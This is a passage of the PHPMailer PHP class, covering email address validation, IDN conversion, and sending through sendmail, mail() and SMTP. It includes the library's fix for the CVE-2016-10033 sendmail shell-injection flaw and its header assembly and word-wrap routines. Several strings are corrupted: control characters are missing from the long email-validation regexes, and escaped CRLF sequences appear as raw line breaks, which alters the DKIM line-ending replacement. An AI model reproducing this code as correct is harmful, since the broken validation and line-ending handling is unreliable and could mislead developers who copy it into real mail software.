if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>
)?[ ])+|(?>[ ]*
)?[ ]+)?)(\((?>(?2)' .
'(?>[--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[--!#-\[\]-]|\[-]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!(?>"?(?>\[ -~]|[^"])"?){255,})(?!(?>"?(?>\[ -~]|[^"])"?){65,}@)(?>' .
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*")' .
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*"))*' .
'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
/**
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
* @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
*/
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}
/**
* Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
* "intl" and "mbstring" PHP extensions.
* @return bool "true" if required functions for IDN support are present
*/
public function idnSupported()
{
// @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
}
/**
* Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
* Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
* This function silently returns unmodified address if:
* - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
* - Conversion to punycode is impossible (e.g. required PHP functions are not available)
* or fails for any reason (e.g. domain has characters not allowed in an IDN)
* @see PHPMailer::$CharSet
* @param string $address The email address to convert
* @return string The encoded address in ASCII form
*/
public function punyencodeAddress($address)
{
// Verify we have required functions, CharSet, and at-sign.
if ($this->idnSupported() and
!empty($this->CharSet) and
($pos = strrpos($address, '@')) !== false) {
$domain = substr($address, ++$pos);
// Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
$domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
idn_to_ascii($domain)) !== false) {
return substr($address, 0, $pos) . $punycode;
}
}
}
return $address;
}
/**
* Create a message and send it.
* Uses the sending method specified by $Mailer.
* @throws phpmailerException
* @return boolean false on error - See the ErrorInfo property for details of the error.
*/
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
} catch (phpmailerException $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
/**
* Prepare a message for sending.
* @throws phpmailerException
* @return boolean
*/
public function preSend()
{
try {
$this->error_count = 0; // Reset errors
$this->mailHeader = '';
// Dequeue recipient and Reply-To addresses with IDN
foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
$params[1] = $this->punyencodeAddress($params[1]);
call_user_func_array(array($this, 'addAnAddress'), $params);
}
if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
}
// Validate From, Sender, and ConfirmReadingTo addresses
foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
$this->$address_kind = trim($this->$address_kind);
if (empty($this->$address_kind)) {
continue;
}
$this->$address_kind = $this->punyencodeAddress($this->$address_kind);
if (!$this->validateAddress($this->$address_kind)) {
$error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
}
// Set whether the message is multipart/alternative
if ($this->alternativeExists()) {
$this->ContentType = 'multipart/alternative';
}
$this->setMessageType();
// Refuse to send an empty message unless we are specifically allowing it
if (!$this->AllowEmpty and empty($this->Body)) {
throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
}
// Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
$this->MIMEHeader = '';
$this->MIMEBody = $this->createBody();
// createBody may have added some headers, so retain them
$tempheaders = $this->MIMEHeader;
$this->MIMEHeader = $this->createHeader();
$this->MIMEHeader .= $tempheaders;
// To capture the complete message when using mail(), create
// an extra header list which createHeader() doesn't fold in
if ($this->Mailer == 'mail') {
if (count($this->to) > 0) {
$this->mailHeader .= $this->addrAppend('To', $this->to);
} else {
$this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
}
$this->mailHeader .= $this->headerLine(
'Subject',
$this->encodeHeader($this->secureHeader(trim($this->Subject)))
);
}
// Sign with DKIM if enabled
if (!empty($this->DKIM_domain)
and !empty($this->DKIM_selector)
and (!empty($this->DKIM_private_string)
or (!empty($this->DKIM_private)
and self::isPermittedPath($this->DKIM_private)
and file_exists($this->DKIM_private)
)
)
) {
$header_dkim = $this->DKIM_Add(
$this->MIMEHeader . $this->mailHeader,
$this->encodeHeader($this->secureHeader($this->Subject)),
$this->MIMEBody
);
$this->MIMEHeader = rtrim($this->MIMEHeader, "
") . self::CRLF .
str_replace("
", "
", $header_dkim) . self::CRLF;
}
return true;
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
/**
* Actually send a message.
* Send the email via the selected mechanism
* @throws phpmailerException
* @return boolean
*/
public function postSend()
{
try {
// Choose the mailer and send through it
switch ($this->Mailer) {
case 'sendmail':
case 'qmail':
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
case 'smtp':
return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
case 'mail':
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
default:
$sendMethod = $this->Mailer.'Send';
if (method_exists($this, $sendMethod)) {
return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
}
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
}
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
}
return false;
}
/**
* Send mail using the $Sendmail program.
* @param string $header The message headers
* @param string $body The message body
* @see PHPMailer::$Sendmail
* @throws phpmailerException
* @access protected
* @return boolean
*/
protected function sendmailSend($header, $body)
{
// CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
if ($this->Mailer == 'qmail') {
$sendmailFmt = '%s -f%s';
} else {
$sendmailFmt = '%s -oi -f%s -t';
}
} else {
if ($this->Mailer == 'qmail') {
$sendmailFmt = '%s';
} else {
$sendmailFmt = '%s -oi -t';
}
}
// TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.
$sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
if ($this->SingleTo) {
foreach ($this->SingleToArray as $toAddr) {
if (!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, 'To: ' . $toAddr . "
");
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
array($toAddr),
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
} else {
if (!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
$this->to,
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
return true;
}
/**
* Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
*
* Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
* @param string $string The string to be validated
* @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
* @access protected
* @return boolean
*/
protected static function isShellSafe($string)
{
// Future-proof
if (escapeshellcmd($string) !== $string
or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
) {
return false;
}
$length = strlen($string);
for ($i = 0; $i < $length; $i++) {
$c = $string[$i];
// All other characters have a special meaning in at least one common shell, including = and +.
// Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
// Note that this does permit non-Latin alphanumeric characters based on the current locale.
if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
return false;
}
}
return true;
}
/**
* Check whether a file path is of a permitted type.
* Used to reject URLs and phar files from functions that access local file paths,
* such as addAttachment.
* @param string $path A relative or absolute path to a file.
* @return bool
*/
protected static function isPermittedPath($path)
{
return !preg_match('#^[a-z]+://#i', $path);
}
/**
* Send mail using the PHP mail() function.
* @param string $header The message headers
* @param string $body The message body
* @link http://www.php.net/manual/en/book.mail.php
* @throws phpmailerException
* @access protected
* @return boolean
*/
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
// CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
if (self::isShellSafe($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
}
if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo and count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
/**
* Get an instance to use for SMTP operations.
* Override this function to load your own SMTP implementation
* @return SMTP
*/
public function getSMTPInstance()
{
if (!is_object($this->smtp)) {
$this->smtp = new SMTP;
}
return $this->smtp;
}
/**
* Send mail via SMTP.
* Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
* Uses the PHPMailerSMTP class by default.
* @see PHPMailer::getSMTPInstance() to use a different class.
* @param string $header The message headers
* @param string $body The message body
* @throws phpmailerException
* @uses SMTP
* @access protected
* @return boolean
*/
protected function smtpSend($header, $body)
{
$bad_rcpt = array();
if (!$this->smtpConnect($this->SMTPOptions)) {
throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
}
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
$smtp_from = $this->Sender;
} else {
$smtp_from = $this->From;
}
if (!$this->smtp->mail($smtp_from)) {
$this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
}
// Attempt to send to all recipients
foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
foreach ($togroup as $to) {
if (!$this->smtp->recipient($to[0])) {
$error = $this->smtp->getError();
$bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
$isSent = false;
} else {
$isSent = true;
}
$this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
}
}
// Only send the DATA command if we have viable recipients
if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
}
if ($this->SMTPKeepAlive) {
$this->smtp->reset();
} else {
$this->smtp->quit();
$this->smtp->close();
}
//Create error message for any bad addresses
if (count($bad_rcpt) > 0) {
$errstr = '';
foreach ($bad_rcpt as $bad) {
$errstr .= $bad['to'] . ': ' . $bad['error'];
}
throw new phpmailerException(
$this->lang('recipients_failed') . $errstr,
self::STOP_CONTINUE
);
}
return true;
}
/**
* Initiate a connection to an SMTP server.
* Returns false if the operation failed.
* @param array $options An array of options compatible with stream_context_create()
* @uses SMTP
* @access public
* @throws phpmailerException
* @return boolean
*/
public function smtpConnect($options = null)
{
if (is_null($this->smtp)) {
$this->smtp = $this->getSMTPInstance();
}
//If no options are provided, use whatever is set in the instance
if (is_null($options)) {
$options = $this->SMTPOptions;
}
// Already connected?
if ($this->smtp->connected()) {
return true;
}
$this->smtp->setTimeout($this->Timeout);
$this->smtp->setDebugLevel($this->SMTPDebug);
$this->smtp->setDebugOutput($this->Debugoutput);
$this->smtp->setVerp($this->do_verp);
$hosts = explode(';', $this->Host);
$lastexception = null;
foreach ($hosts as $hostentry) {
$hostinfo = array();
if (!preg_match(
'/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
trim($hostentry),
$hostinfo
)) {
// Not a valid host entry
$this->edebug('Ignoring invalid host: ' . $hostentry);
continue;
}
// $hostinfo[2]: optional ssl or tls prefix
// $hostinfo[3]: the hostname
// $hostinfo[4]: optional port number
// The host string prefix can temporarily override the current setting for SMTPSecure
// If it's not specified, the default value is used
$prefix = '';
$secure = $this->SMTPSecure;
$tls = ($this->SMTPSecure == 'tls');
if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
$prefix = 'ssl://';
$tls = false; // Can't have SSL and TLS at the same time
$secure = 'ssl';
} elseif ($hostinfo[2] == 'tls') {
$tls = true;
// tls doesn't use a prefix
$secure = 'tls';
}
//Do we need the OpenSSL extension?
$sslext = defined('OPENSSL_ALGO_SHA1');
if ('tls' === $secure or 'ssl' === $secure) {
//Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
if (!$sslext) {
throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
}
}
$host = $hostinfo[3];
$port = $this->Port;
$tport = (integer)$hostinfo[4];
if ($tport > 0 and $tport < 65536) {
$port = $tport;
}
if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
try {
if ($this->Helo) {
$hello = $this->Helo;
} else {
$hello = $this->serverHostname();
}
$this->smtp->hello($hello);
//Automatically enable TLS encryption if:
// * it's not disabled
// * we have openssl extension
// * we are not already using SSL
// * the server offers STARTTLS
if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
$tls = true;
}
if ($tls) {
if (!$this->smtp->startTLS()) {
throw new phpmailerException($this->lang('connect_host'));
}
// We must resend EHLO after TLS negotiation
$this->smtp->hello($hello);
}
if ($this->SMTPAuth) {
if (!$this->smtp->authenticate(
$this->Username,
$this->Password,
$this->AuthType,
$this->Realm,
$this->Workstation
)
) {
throw new phpmailerException($this->lang('authenticate'));
}
}
return true;
} catch (phpmailerException $exc) {
$lastexception = $exc;
$this->edebug($exc->getMessage());
// We must have connected, but then failed TLS or Auth, so close connection nicely
$this->smtp->quit();
}
}
}
// If we get here, all connection attempts have failed, so close connection hard
$this->smtp->close();
// As we've caught all exceptions, just report whatever the last one was
if ($this->exceptions and !is_null($lastexception)) {
throw $lastexception;
}
return false;
}
/**
* Close the active SMTP session if one exists.
* @return void
*/
public function smtpClose()
{
if (is_a($this->smtp, 'SMTP')) {
if ($this->smtp->connected()) {
$this->smtp->quit();
$this->smtp->close();
}
}
}
/**
* Set the language for error messages.
* Returns false if it cannot load the language file.
* The default language is English.
* @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
* @param string $lang_path Path to the language file directory, with trailing separator (slash)
* @return boolean
* @access public
*/
public function setLanguage($langcode = 'en', $lang_path = '')
{
// Backwards compatibility for renamed language codes
$renamed_langcodes = array(
'br' => 'pt_br',
'cz' => 'cs',
'dk' => 'da',
'no' => 'nb',
'se' => 'sv',
'sr' => 'rs'
);
if (isset($renamed_langcodes[$langcode])) {
$langcode = $renamed_langcodes[$langcode];
}
// Define full set of translatable strings in English
$PHPMAILER_LANG = array(
'authenticate' => 'SMTP Error: Could not authenticate.',
'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
'data_not_accepted' => 'SMTP Error: data not accepted.',
'empty_message' => 'Message body empty',
'encoding' => 'Unknown encoding: ',
'execute' => 'Could not execute: ',
'file_access' => 'Could not access file: ',
'file_open' => 'File Error: Could not open file: ',
'from_failed' => 'The following From address failed: ',
'instantiate' => 'Could not instantiate mail function.',
'invalid_address' => 'Invalid address: ',
'mailer_not_supported' => ' mailer is not supported.',
'provide_address' => 'You must provide at least one recipient email address.',
'recipients_failed' => 'SMTP Error: The following recipients failed: ',
'signing' => 'Signing Error: ',
'smtp_connect_failed' => 'SMTP connect() failed.',
'smtp_error' => 'SMTP server error: ',
'variable_set' => 'Cannot set or reset variable: ',
'extension_missing' => 'Extension missing: '
);
if (empty($lang_path)) {
// Calculate an absolute path so it can work if CWD is not here
$lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
}
//Validate $langcode
if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
$langcode = 'en';
}
$foundlang = true;
$lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
// There is no English translation file
if ($langcode != 'en') {
// Make sure language file path is readable
if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
$foundlang = false;
} else {
// Overwrite language-specific strings.
// This way we'll never have missing translation keys.
$foundlang = include $lang_file;
}
}
$this->language = $PHPMAILER_LANG;
return (boolean)$foundlang; // Returns false if language not found
}
/**
* Get the array of strings for the current language.
* @return array
*/
public function getTranslations()
{
return $this->language;
}
/**
* Create recipient headers.
* @access public
* @param string $type
* @param array $addr An array of recipient,
* where each recipient is a 2-element indexed array with element 0 containing an address
* and element 1 containing a name, like:
* array(array('[email protected]', 'Joe User'), array('[email protected]', 'Zoe User'))
* @return string
*/
public function addrAppend($type, $addr)
{
$addresses = array();
foreach ($addr as $address) {
$addresses[] = $this->addrFormat($address);
}
return $type . ': ' . implode(', ', $addresses) . $this->LE;
}
/**
* Format an address for use in a message header.
* @access public
* @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
* like array('[email protected]', 'Joe User')
* @return string
*/
public function addrFormat($addr)
{
if (empty($addr[1])) { // No name provided
return $this->secureHeader($addr[0]);
} else {
return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
$addr[0]
) . '>';
}
}
/**
* Word-wrap message.
* For use with mailers that do not automatically perform wrapping
* and for quoted-printable encoded messages.
* Original written by philippe.
* @param string $message The message to wrap
* @param integer $length The line length to wrap to
* @param boolean $qp_mode Whether to run in Quoted-Printable mode
* @access public
* @return string
*/
public function wrapText($message, $length, $qp_mode = false)
{
if ($qp_mode) {
$soft_break = sprintf(' =%s', $this->LE);
} else {
$soft_break = $this->LE;
}
// If utf-8 encoding is used, we will need to make sure we don't
// split multibyte characters when we wrap
$is_utf8 = (strtolower($this->CharSet) == 'utf-8');
$lelen = strlen($this->LE);
$crlflen = strlen(self::CRLF);
$message = $this->fixEOL($message);
//Remove a trailing line break
if (substr($message, -$lelen) == $this->LE) {
$message = substr($message, 0, -$lelen);
}
//Split message into lines
$lines = explode($this->LE, $message);
//Message will be rebuilt in here
$message = '';
foreach ($lines as $line) {
$words = explode(' ', $line);
$buf = '';
$firstword = true;
foreach ($words as $word) {
if ($qp_mode and (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - $crlflen;
if (!$firstword) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == '=') {
$len--;
} elseif (substr($word, $len - 2, 1) == '=') {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf('=%s', self::CRLF);
} else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while (strlen($word) > 0) {
if ($length <= 0) {
break;
}
$len = $length;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == '=') {
$len--;
} elseif (substr($word, $len - 2, 1) == '=') {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf('=%s', self::CRLF);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
if (!$firstword) {
$buf .= ' ';
}
$buf .= $word;
if (strlen($buf) > $length and $buf_o != '') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
$firstword = false;
}
$message .= $buf . self::CRLF;
}
return $message;
}
/**
* Find the last character boundary prior to $maxLength in a utf-8
* quoted-printable encoded string.
* Original written by Colin Brown.
* @access public
* @param string $encodedText utf-8 QP text
* @param integer $maxLength Find the last character boundary prior to this length
* @return integer
*/
public function utf8CharBoundary($encodedText, $maxLength)
{
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, '=');
if (false !== $encodedCharPos) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the '=')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) {
// Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
if ($encodedCharPos > 0) {
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
}
$foundSplitPos = true;
} elseif ($dec >= 192) {
// First byte of a multi byte character
// Reduce maxLength to split at start of character
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec < 192) {
// Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
// No encoded character found
$foundSplitPos = true;
}
}
return $maxLength;
}
/**
* Apply word wrapping to the message body.
* Wraps the message body to the number of chars set in the WordWrap property.
* You should only do this to plain-text bodies as wrapping HTML tags may break them.
* This is called automatically by createBody(), so you don't need to call it yourself.
* @access public
* @return void
*/
public function setWordWrap()
{
if ($this->WordWrap < 1) {
return;
}
switch ($this->message_type) {
case 'alt':
case 'alt_inline':
case 'alt_attach':
case 'alt_inline_attach':
$this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->wrapText($this->Body, $this->WordWrap);
break;
}
}
/**
* Assemble message headers.
* @access public
* @return string The assembled headers
*/
public function createHeader()
{
$result = '';
$result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);
// To be created automatically by mail()
if ($this->SingleTo) {
if ($this->Mailer != 'mail') {
foreach ($this->to as $toaddr) {
$this->SingleToArray[] = $this->addrFormat($toaddr);
}
}
} else {
if (count($this->to) > 0) {
if ($this->Mailer != 'mail') {
$result .= $this->addrAppend('To', $this->to);
}
} elseif (count($this->cc) == 0) {
$result .= $this->headerLine('To', 'undisclosed-recipients:;');
}
}
$result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
// sendmail and mail() extract Cc from the header before sending
if (count($this->cc) > 0) {
$result .= $this->addrAppend('Cc', $this->cc);
}
// sendmail and mail() extract Bcc from the header before sending
if ((
$this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
)
and count($this->bcc) > 0
) {
$result .= $this->addrAppend('Bcc', $this->bcc);
}
if (count($this->ReplyTo) > 0) {
$result .= $this->addrAppend('Reply-To', $this->ReplyTo);
}
// mail() sets the subject itself
if ($this->Mailer != 'mail') {
$result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
}
// Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
// https://tools.ietf.org/html/rfc5322#section-3.6.4
if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
$this->lastMessageID = $this->MessageID;
} else {
$this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
}
$result .= $this->headerLine('Message-ID', $this->lastMessageID);
if (!is_null($this->Priority)) {
$result .= $this->headerLine('X-Priority', $this->Priority);
}
if ($this->XMailer == '') {
$result .= $this->headerLine(
'X-Mailer',
'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
);
} else {
$myXmailer = trim($this->XMailer);
if ($myXmailer) {
$result .= $this->headerLine('X-Mailer', $myXmailer);
}
}
if ($this->ConfirmReadingTo != '') {
$result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
}
// Add custom headers
foreach ($this->CustomHeader as $header) {
$result .= $this->headerLine(
trim($header[0]),
$this->encodeHeader(trim($header[1]))
);
}
if (!$this->sign_key_file) {
$result .= $this->headerLine('MIME-Version', '1.0');
$result .= $this->getMailMIME();
}
return $result;
}
/**
* Get the message MIME type headers.
* @access public
* @return string
*/
public function getMailMIME()
{
$result = '';
$ismultipart = true;
switch ($this->message_type) {
case 'inline':
$result .= $this->headerLine('Content-Type', 'multipart/related;');
$result .= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
break;
case 'attach':
case 'inline_attach':
case 'alt_attach':
case 'alt_inline_attach':
$result .= $this->headerLine('Content-Type', 'multipart/mixed;');
$result .= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
break;
case 'alt':
case 'alt_inline':
$result .= $this->headerLine('Content-Type', 'multipart/alternative;');
$result .= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
break;
default:
// Catches case 'plain': and case '':
$result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
$ismultipart = false;
break;
}
// RFC1341 part 5 says 7bit is assumed if not specified
if ($this->Encoding != '7bit') {
// RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
if ($ismultipart) {
if ($this->Encoding == '8bit') {
$result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
}
// The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
} else {
$result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
}
}
if ($this->Mailer != 'mail') {
$result .= $this->LE;
}
return $result;
}
/**
* Returns the whole MIME message.
* Includes complete headers and body.
* Only valid post preSend().
* @see PHPMailer::preSend()
* @access public
* @return string
*/
public function getSentMIMEMessage()
{
